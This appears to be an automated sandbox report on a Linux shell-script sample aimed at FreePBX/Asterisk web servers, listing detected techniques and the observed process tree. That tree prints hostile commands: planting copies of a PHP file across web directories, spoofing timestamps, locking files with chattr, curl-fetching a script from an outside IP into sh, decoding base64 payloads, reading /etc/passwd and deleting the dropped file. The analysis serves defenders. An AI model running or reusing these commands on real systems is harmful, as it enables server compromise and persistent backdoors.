Analysis

  • max time kernel
    0s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/08/2026, 20:30

General

  • Target
    wr.php.sh
  • Size 26KB
  • Sample260810-zagf2aad89
  • SHA256 4f75ade0a9e46456e8380ad3e4df9d8619c117fb21e885cc56f84b5cdf01fdd2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Reads runtime system information 32 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wr.php.sh
    /tmp/wr.php.sh
    1⤵
    • Writes file to tmp directory
    PID:1538
    • /usr/bin/base64
      base64 -d
      2⤵
      • Deobfuscate/Decode Files or Information
      PID:1540
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
      2⤵
      • Reads runtime system information
      PID:1544
    • /bin/mkdir
      mkdir -p /var/www/html/rest_phones/
      2⤵
      • Reads runtime system information
      PID:1545
    • /bin/mkdir
      mkdir -p /var/www/html/restiapps/
      2⤵
      • Reads runtime system information
      PID:1546
    • /bin/mkdir
      mkdir -p /var/www/html/restiapp/
      2⤵
      • Reads runtime system information
      PID:1547
    • /bin/mkdir
      mkdir -p /var/www/html/phones/
      2⤵
      • Reads runtime system information
      PID:1548
    • /bin/mkdir
      mkdir -p /var/www/html/digiums/
      2⤵
      • Reads runtime system information
      PID:1549
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/h/
      2⤵
      • Reads runtime system information
      PID:1550
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/fpbxphones/
      2⤵
      • Reads runtime system information
      PID:1551
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/phones/
      2⤵
      • Reads runtime system information
      PID:1553
    • /bin/mkdir
      mkdir -p /var/www/html/digium_phones/
      2⤵
      • Reads runtime system information
      PID:1554
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
      2⤵
      • Reads runtime system information
      PID:1555
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
      2⤵
      • Reads runtime system information
      PID:1556
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
      2⤵
      • Reads runtime system information
      PID:1557
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
      2⤵
      • Reads runtime system information
      PID:1559
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
      2⤵
      • Reads runtime system information
      PID:1560
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
      2⤵
      • Reads runtime system information
      PID:1561
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
      2⤵
      • Reads runtime system information
      PID:1562
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
      2⤵
      • Reads runtime system information
      PID:1563
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
      2⤵
      • Reads runtime system information
      PID:1564
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
      2⤵
      • Reads runtime system information
      PID:1565
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
      2⤵
      • Reads runtime system information
      PID:1566
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
      2⤵
      • Reads runtime system information
      PID:1567
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
      2⤵
      • Reads runtime system information
      PID:1568
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
      2⤵
      • Reads runtime system information
      PID:1569
    • /usr/bin/touch
      touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
      2⤵
        PID:1570
      • /bin/chmod
        chmod +x /var/www/html/admin/views/ajax.php
        2⤵
        • File and Directory Permissions Modification
        PID:1571
      • /bin/chmod
        chmod +x /var/www/html/admin/views/some.php
        2⤵
        • File and Directory Permissions Modification
        PID:1572
      • /usr/bin/chattr
        chattr +i /var/www/html/admin/views/ajax.php
        2⤵
          PID:1573
        • /usr/bin/chattr
          chattr +a /var/www/html/admin/views/ajax.php
          2⤵
            PID:1574
          • /usr/bin/chattr
            chattr +i /var/www/html/admin/views/some.php
            2⤵
              PID:1578
            • /usr/bin/chattr
              chattr +a /var/www/html/admin/views/some.php
              2⤵
                PID:1579
              • /usr/bin/chattr
                chattr +i /var/www/html/some.php
                2⤵
                  PID:1580
                • /usr/bin/chattr
                  chattr +a /var/www/html/some.php
                  2⤵
                    PID:1581
                  • /usr/bin/chattr
                    chattr +i /var/www/html/h.php
                    2⤵
                      PID:1582
                    • /usr/bin/chattr
                      chattr +a /var/www/html/h.php
                      2⤵
                        PID:1583
                      • /usr/bin/curl
                        curl http://160.119.69.4/z/post/noroot.php
                        2⤵
                          PID:1586
                        • /bin/sh
                          sh
                          2⤵
                            PID:1587
                          • /usr/bin/base64
                            base64 -d
                            2⤵
                            • Deobfuscate/Decode Files or Information
                            PID:1589
                          • /usr/bin/tee
                            tee -a /var/spool/asterisk/tmp/tryRoot1.sh
                            2⤵
                              PID:1590
                            • /bin/bash
                              bash /tmp/tryRoot1.sh
                              2⤵
                                PID:1591
                                • /bin/ls
                                  ls -la
                                  3⤵
                                  • Reads runtime system information
                                  PID:1594
                                • /bin/cat
                                  cat /etc/passwd
                                  3⤵
                                    PID:1595
                                  • /bin/ls
                                    ls -ls /home
                                    3⤵
                                    • Reads runtime system information
                                    PID:1596
                                  • /bin/mkdir
                                    mkdir -p /var/www/html/admin/modules/freepbx_ha/
                                    3⤵
                                    • Reads runtime system information
                                    PID:1597
                                  • /bin/mv
                                    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
                                    3⤵
                                    • Reads runtime system information
                                    PID:1598
                                  • /usr/bin/base64
                                    base64 -d
                                    3⤵
                                    • Deobfuscate/Decode Files or Information
                                    PID:1600
                                  • /bin/rm
                                    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
                                    3⤵
                                      PID:1601
                                    • /bin/mv
                                      mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
                                      3⤵
                                      • Reads runtime system information
                                      PID:1602
                                    • /bin/ls
                                      ls -la
                                      3⤵
                                      • Reads runtime system information
                                      PID:1603
                                    • /usr/bin/base64
                                      base64 -d
                                      3⤵
                                      • Deobfuscate/Decode Files or Information
                                      PID:1605
                                    • /bin/ls
                                      ls -la
                                      3⤵
                                      • Reads runtime system information
                                      PID:1606
                                    • /bin/cat
                                      cat /etc/passwd
                                      3⤵
                                        PID:1607
                                      • /bin/ls
                                        ls -ls /home
                                        3⤵
                                        • Reads runtime system information
                                        PID:1608
                                    • /bin/bash
                                      bash /var/spool/asterisk/tmp/tryRoot1.sh
                                      2⤵
                                        PID:1609
                                      • /bin/rm
                                        rm -rf /tmp/tryRoot1.sh
                                        2⤵
                                          PID:1610
                                        • /bin/rm
                                          rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
                                          2⤵
                                            PID:1611
                                          • /bin/sh
                                            sh
                                            2⤵
                                              PID:1613
                                            • /usr/bin/curl
                                              curl http://160.119.69.4/z/post/noroot.php
                                              2⤵
                                                PID:1612

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

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                                                  Downloads

                                                  tryRoot1.sh

                                                  • Path /tmp/tryRoot1.sh
                                                  • Size 11KB
                                                  • SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH